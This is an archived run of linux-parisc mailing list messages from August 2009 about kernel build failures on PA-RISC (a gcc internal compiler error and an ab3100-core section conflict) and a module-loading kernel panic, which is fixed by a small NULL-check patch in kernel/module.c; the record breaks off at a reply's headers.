	by complete.lackof.org (Postfix) with ESMTP id 87EC133E0002;
	Wed, 12 Aug 2009 15:34:56 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0Uk-WPpkMiB7; Wed, 12 Aug 2009 15:34:56 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 26BAD33E001E; Wed, 12 Aug 2009 15:34:56 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2031>

Carlos, Dave,
Just got this after updating gsyprf11 and trying to build
linux-2.6.31-rc5 using .config provided by dannf.

grundler <534>uname -a
Linux gsyprf11 2.6.22.19 #5 SMP Tue Aug 4 17:16:18 PDT 2009 parisc64 GNU/Linux
grundler <535>make 
...
  CC [M]  fs/xfs/xfs_iomap.o
fs/xfs/xfs_iomap.c: In function 'xfs_iomap_write_delay':
fs/xfs/xfs_iomap.c:648: error: insn does not satisfy its constraints:
(insn 331 99 103 12 fs/xfs/xfs_iomap.c:599 (set (reg:QI 60 SAR)
        (mem/c:QI (plus:DI (reg/f:DI 30 %r30)
                (const_int -273 [0xfffffffffffffeef])) [0 %sfp+191 S1 A128])) 101 {*pa.md:3318} (nil))
fs/xfs/xfs_iomap.c:648: internal compiler error: in reload_cse_simplify_operands, at postreload.c:396
Please submit a full bug report,
with preprocessed source if appropriate.
See <http://gcc.gnu.org/bugs.html> for instructions.
make[2]: *** [fs/xfs/xfs_iomap.o] Error 1
make[1]: *** [fs/xfs] Error 2
make: *** [fs] Error 2

I'll not touch the source tree on gsyprf11:/usr/src/linux-2.6 until either
of you can look at it. (No hurry...just letting you know where to look).

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Walleij <linus.ml.walleij@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ab3100_core.c fails to build w/ gcc-4.3.3 on hppa
Date: Sat, 15 Aug 2009 16:36:28 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <63386a3d0908150736ke9bfb14j3a885fef848bafbb@mail.gmail.com>
References: <20090811154038.GA10371@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1250346999 17450 80.91.229.12 (15 Aug 2009 14:36:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Aug 2009 14:36:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: dann frazier <dannf@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 15 16:36:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1McKMx-0001Jv-L3
	for glpp-linux-parisc@gmane.org; Sat, 15 Aug 2009 16:36:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753787AbZHOOg2 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Aug 2009 10:36:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753794AbZHOOg2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Aug 2009 10:36:28 -0400
Original-Received: from mail-bw0-f222.google.com ([209.85.218.222]:47847 "EHLO
	mail-bw0-f222.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753787AbZHOOg1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Aug 2009 10:36:27 -0400
Original-Received: by bwz22 with SMTP id 22so1578995bwz.18
        for <linux-parisc@vger.kernel.org>; Sat, 15 Aug 2009 07:36:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=EW6e+gVBHwz77ZKfbHaff6ygku6Vn78wmtJY2SKG7wc=;
        b=ZFiIHEbcv/R4nV1ubGLcd14bao7ypnRCKKoNRL7kU7Elq0g7DfFRyqRUUS0Ct29AX+
         HED7QZzD8hGhAjBaLncG2UMr1GJlYN7PShHB/hUYxxXL9vGf9Fx5drcsIhmCkUC9651d
         HE7hP/mf+1F1ni8IG5AD+wbKUeB3GK1gpxKR0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=iI5RFZaTwIPgAF4TOEE1Wt52v2pm2hmW3DPThJ2E5Is99kmKC5JIKw8oNnRVqxMBs+
         9x+8UxL968YqVQqbSeV5D4IH6NQaY8UAdqI5un3x66FbIaQ+d4oqEcWuls+EpkdbFxhq
         +8kiDa077g98v6amoO6awjeuZT9yudJSIlh0I=
Original-Received: by 10.103.125.17 with SMTP id c17mr864448mun.16.1250346988074; Sat, 
	15 Aug 2009 07:36:28 -0700 (PDT)
In-Reply-To: <20090811154038.GA10371@ldl.fc.hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2032>

2009/8/11 dann frazier <dannf@debian.org>:

> hey,
> =A0While testing a 2.6.31-rc5-based snapshot of the Debian kernel
> builds, I hit this build failure:
>
> /home/dannf/linux-2.6-2.6.31~rc5/debian/build/source_hppa_none/driver=
s/mfd/ab3100-core.c:563:
> warning: initialization from incompatible pointer type

I think I have fixed this problem atleast.

> /home/dannf/linux-2.6-2.6.31~rc5/debian/build/source_hppa_none/driver=
s/mfd/ab3100-core.c:647:
> error: ab3100_init_settings causes a section type conflict

Still wandering in darkness about this one :-(
The init_settings are __initdata and the function using it is __init,
I don't get it...

> Same source/compiler seems to build fine on other archs.

Never saw it anywhere else. Is there something special in the parisc li=
nkfile?

Linus Walleij
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa64 gcc ICE building linux-2.6.31-rc5
Date: Sat, 15 Aug 2009 18:49:00 -0400 (EDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <20090815224901.DE9874CFD@hiauly1.hia.nrc.ca>
References: <20090812213456.GD13142@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250376555 19887 80.91.229.12 (15 Aug 2009 22:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Aug 2009 22:49:15 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 16 00:49:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1McS3e-0005ja-Nq
	for glpp-linux-parisc@gmane.org; Sun, 16 Aug 2009 00:49:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751060AbZHOWtD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Aug 2009 18:49:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752234AbZHOWtD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Aug 2009 18:49:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3181 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751060AbZHOWtC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Aug 2009 18:49:02 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DE9874CFD; Sat, 15 Aug 2009 18:49:01 -0400 (EDT)
In-Reply-To: <20090812213456.GD13142@lackof.org> from "Grant Grundler" at Aug 12, 2009 03:34:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2033
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2033>

Hi Grant,

Can you try again switching the alternative 4.4?  I think it currently
points to 4.2.  There are significant changes in this area in 4.3 and 4.4.

The GCC 4.2 tree  is dead.

Dave

> Carlos, Dave,
> Just got this after updating gsyprf11 and trying to build
> linux-2.6.31-rc5 using .config provided by dannf.
> 
> grundler <534>uname -a
> Linux gsyprf11 2.6.22.19 #5 SMP Tue Aug 4 17:16:18 PDT 2009 parisc64 GNU/Linux
> grundler <535>make 
> ...
>   CC [M]  fs/xfs/xfs_iomap.o
> fs/xfs/xfs_iomap.c: In function 'xfs_iomap_write_delay':
> fs/xfs/xfs_iomap.c:648: error: insn does not satisfy its constraints:
> (insn 331 99 103 12 fs/xfs/xfs_iomap.c:599 (set (reg:QI 60 SAR)
>         (mem/c:QI (plus:DI (reg/f:DI 30 %r30)
>                 (const_int -273 [0xfffffffffffffeef])) [0 %sfp+191 S1 A128])) 101 {*pa.md:3318} (nil))
> fs/xfs/xfs_iomap.c:648: internal compiler error: in reload_cse_simplify_operands, at postreload.c:396
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <http://gcc.gnu.org/bugs.html> for instructions.
> make[2]: *** [fs/xfs/xfs_iomap.o] Error 1
> make[1]: *** [fs/xfs] Error 2
> make: *** [fs] Error 2
> 
> I'll not touch the source tree on gsyprf11:/usr/src/linux-2.6 until either
> of you can look at it. (No hurry...just letting you know where to look).
> 
> thanks,
> grant
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel segv with 2.6.31-rc6 ?
Date: Mon, 17 Aug 2009 23:31:57 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <4A89CC4D.5040801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250544752 4839 80.91.229.12 (17 Aug 2009 21:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Aug 2009 21:32:32 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 17 23:32:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Md9oW-0005gZ-QO
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Aug 2009 23:32:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758149AbZHQVcA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2009 17:32:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758035AbZHQVcA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Aug 2009 17:32:00 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:44393 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1758149AbZHQVb7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2009 17:31:59 -0400
Original-Received: (qmail invoked by alias); 17 Aug 2009 21:31:59 -0000
Original-Received: from p4FDB2AAD.dip0.t-ipconnect.de (EHLO halden.box) [79.219.42.173]
  by mail.gmx.net (mp026) with SMTP; 17 Aug 2009 23:31:59 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18OG21Qup8Oz9gQPsJMGPvlPWY/Kn1VjfpK/iAoNm
	q3BGqUnwXepf3y
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2034
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2034>

anyone else seeing this with 2.6.31-rc6 ?

<...system boots up...>
Waiting for /dev to be fully populated...
  
sysfs: cannot create duplicate filename '/module/ac97_bus/sections/.text'
------------[ cut here ]------------
Badness at fs/sysfs/dir.c:487
  
      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 10669bd0 10204ff8 7ce58340
r04-07  7efcd000 ffffffef 7f881d74 7efcd000
r08-11  0008746c 00000000 7f1c6400 0008441c
r12-15  00000019 00084332 105a96c8 00000124
r16-19  0000fff1 00000017 00084abc ffffffff
r20-23  7eeff080 00000060 102f5898 10330dec
r24-27  ffffffff 0000000e 10669c04 10656670
r28-31  00000050 00000190 7ce583c0 10123988
sr00-03  00000000 00000000 00000000 00000008
sr04-07  00000000 00000000 00000000 00000000
  
IASQ: 00000000 00000000 IAOQ: 10204ff8 10204ffc
  IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
  CPU:        0   CR30: 7ce58000 CR31: 11111111
  ORIG_R28: 00000001
  IAOQ[0]: sysfs_add_one+0xb8/0xd0
  IAOQ[1]: sysfs_add_one+0xbc/0xd0
  RP(r2): sysfs_add_one+0xb8/0xd0
Backtrace:
  [<102045b8>] sysfs_add_file_mode+0x60/0xc4
  [<1020748c>] internal_create_group+0xf0/0x1d8
  
Backtrace:
  [<1016f0f0>] load_module+0x10e8/0x1294
  

Kernel Fault: Code=26 regs=7ce58200 (Addr=00000030)
  
      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Tainted: G        W
r00-03  0006000f 7ce58200 1016f0f0 7ce58140
r04-07  00084444 00000019 00087424 7eddb660
r08-11  00084000 00000001 7f1c66a4 0008441c
r12-15  00000019 00084332 105a96c8 00000124
r16-19  0000fff1 00000017 00084abc 00000000
r20-23  00000000 1016d3e0 7eddb668 00000124
r24-27  105a96cc 00000000 7eddb660 10656670
r28-31  00000000 00000001 7ce58200 00000000
sr00-03  00000000 00000000 00000000 00000008
sr04-07  00000000 00000000 00000000 00000000
  
IASQ: 00000000 00000000 IAOQ: 1016f130 1016f134
  IIR: 4b940060    ISR: 00000000  IOR: 00000030
  CPU:        0   CR30: 7ce58000 CR31: 11111111
  ORIG_R28: 00084332
  IAOQ[0]: load_module+0x1128/0x1294
  IAOQ[1]: load_module+0x112c/0x1294
  RP(r2): load_module+0x10e8/0x1294
Backtrace:
  [<1016f0f0>] load_module+0x10e8/0x1294
  
Kernel panic - not syncing: Kernel Fault
Backtrace:
  [<1011ac28>] show_stack+0x18/0x28
  [<1013f3a0>] vprintk+0x19c/0x430
  
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Mon, 17 Aug 2009 22:49:36 +0000
Lines: 102
Approved: news@gmane.org
Message-ID: <1250549376.7858.96.camel@mulgrave.site>
References: <4A89CC4D.5040801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250549394 17960 80.91.229.12 (17 Aug 2009 22:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Aug 2009 22:49:54 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Roland McGrath <roland@redhat.com>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 00:49:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdB1N-0002mJ-HG
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Aug 2009 00:49:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752412AbZHQWtl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2009 18:49:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758060AbZHQWtl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Aug 2009 18:49:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52413 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752350AbZHQWtk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2009 18:49:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 41A048EE0EE;
	Mon, 17 Aug 2009 15:49:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ch5Z1Wa3l2pc; Mon, 17 Aug 2009 15:49:42 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 482318EE0C8;
	Mon, 17 Aug 2009 15:49:39 -0700 (PDT)
In-Reply-To: <4A89CC4D.5040801@gmx.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2035 gmane.linux.kernel:878663
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2035>

On Mon, 2009-08-17 at 23:31 +0200, Helge Deller wrote:
> anyone else seeing this with 2.6.31-rc6 ?
> 
> <...system boots up...>
> Waiting for /dev to be fully populated...
>   
> sysfs: cannot create duplicate filename '/module/ac97_bus/sections/.text'
> ------------[ cut here ]------------
> Badness at fs/sysfs/dir.c:487
>   
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001111 Not tainted
> r00-03  0004000f 10669bd0 10204ff8 7ce58340
> r04-07  7efcd000 ffffffef 7f881d74 7efcd000
> r08-11  0008746c 00000000 7f1c6400 0008441c
> r12-15  00000019 00084332 105a96c8 00000124
> r16-19  0000fff1 00000017 00084abc ffffffff
> r20-23  7eeff080 00000060 102f5898 10330dec
> r24-27  ffffffff 0000000e 10669c04 10656670
> r28-31  00000050 00000190 7ce583c0 10123988
> sr00-03  00000000 00000000 00000000 00000008
> sr04-07  00000000 00000000 00000000 00000000
>   
> IASQ: 00000000 00000000 IAOQ: 10204ff8 10204ffc
>   IIR: 03ffe01f    ISR: 00000000  IOR: 00000000
>   CPU:        0   CR30: 7ce58000 CR31: 11111111
>   ORIG_R28: 00000001
>   IAOQ[0]: sysfs_add_one+0xb8/0xd0
>   IAOQ[1]: sysfs_add_one+0xbc/0xd0
>   RP(r2): sysfs_add_one+0xb8/0xd0
> Backtrace:
>   [<102045b8>] sysfs_add_file_mode+0x60/0xc4
>   [<1020748c>] internal_create_group+0xf0/0x1d8
>   
> Backtrace:
>   [<1016f0f0>] load_module+0x10e8/0x1294
>   
> 
> Kernel Fault: Code=26 regs=7ce58200 (Addr=00000030)
>   
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001100000000000001111 Tainted: G        W
> r00-03  0006000f 7ce58200 1016f0f0 7ce58140
> r04-07  00084444 00000019 00087424 7eddb660
> r08-11  00084000 00000001 7f1c66a4 0008441c
> r12-15  00000019 00084332 105a96c8 00000124
> r16-19  0000fff1 00000017 00084abc 00000000
> r20-23  00000000 1016d3e0 7eddb668 00000124
> r24-27  105a96cc 00000000 7eddb660 10656670
> r28-31  00000000 00000001 7ce58200 00000000
> sr00-03  00000000 00000000 00000000 00000008
> sr04-07  00000000 00000000 00000000 00000000
>   
> IASQ: 00000000 00000000 IAOQ: 1016f130 1016f134
>   IIR: 4b940060    ISR: 00000000  IOR: 00000030
>   CPU:        0   CR30: 7ce58000 CR31: 11111111
>   ORIG_R28: 00084332
>   IAOQ[0]: load_module+0x1128/0x1294
>   IAOQ[1]: load_module+0x112c/0x1294
>   RP(r2): load_module+0x10e8/0x1294
> Backtrace:
>   [<1016f0f0>] load_module+0x10e8/0x1294
>   
> Kernel panic - not syncing: Kernel Fault
> Backtrace:
>   [<1011ac28>] show_stack+0x18/0x28
>   [<1013f3a0>] vprintk+0x19c/0x430

The root cause is a duplicate section name (.text); is this legal?

However, there's a problem with commit
6d76013381ed28979cd122eb4b249a88b5e384fa in that if you fail to allocate
a mod->sect_attrs (in this case it's null because of the duplication),
it still gets used without checking in add_notes_attrs()

This should fix it

Signed-off-by: James Bottomley <James.Bottomley@suse.de>

---

diff --git a/kernel/module.c b/kernel/module.c
index fd14114..a703c49 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -2353,7 +2353,8 @@ static noinline struct module *load_module(void __user *umod,
 	if (err < 0)
 		goto unlink;
 	add_sect_attrs(mod, hdr->e_shnum, secstrings, sechdrs);
-	add_notes_attrs(mod, hdr->e_shnum, secstrings, sechdrs);
+	if (mod->sect_attrs)
+		add_notes_attrs(mod, hdr->e_shnum, secstrings, sechdrs);
 
 	/* Get rid of temporary copy */
 	vfree(hdr);


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Mon, 17 Aug 2009 16:54:38 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090817235438.8846B4730F@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<1250549376.7858.96.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250553301 26730 80.91.229.12 (17 Aug 2009 23:55:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Aug 2009 23:55:01 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 01:54:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MdC2K-0003Pr-Dr
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Aug 2009 01:54:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751029AbZHQXyp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2009 19:54:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751793AbZHQXyo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Aug 2009 19:54:44 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:45105 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751007AbZHQXyo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2009 19:54:44 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7HNsg9d020319;
	Mon, 17 Aug 2009 19:54:42 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7HNsd7U011890;
	Mon, 17 Aug 2009 19:54:40 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id BED2A357B; Mon, 17 Aug 2009 16:54:38 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 8846B4730F; Mon, 17 Aug 2009 16:54:38 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: James Bottomley's message of  Monday, 17 August 2009 22:49:36 +0000 <1250549376.7858.96.camel@mulgrave.site>
X-Zippy-Says: RHAPSODY in Glue!
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2036 gmane.linux.kernel:878690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2036>

> The root cause is a duplicate section name (.text); is this legal?

It's a complicated subject, but I don't think they should ever actually
exist in a .ko.  The linker script for making .ko's should take care of
that.  But if modules do some crazy things like using section groups
(e.g. for COMDAT, i.e. compile C++ code into modules) then I'm not sure how
easy it is to get ld to combine things ideally as we'd like.

Suffice it to say that any occurrence of this merits further investigation.
It is certainly a red flag at first blush (as it were).

> However, there's a problem with commit
> 6d76013381ed28979cd122eb4b249a88b5e384fa in that if you fail to allocate
> a mod->sect_attrs (in this case it's null because of the duplication),
> it still gets used without checking in add_notes_attrs()
> 
> This should fix it

Yes, good catch.  Sorry about that complete failure of defensive programming.

Acked-by: Roland McGrath <roland@redhat.com>


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Tue, 18 Aug 2009 12:48:52 +0930
Lines: 26
Approved: news@gmane.org
Message-ID: <200908181248.52572.rusty@rustcorp.com.au>
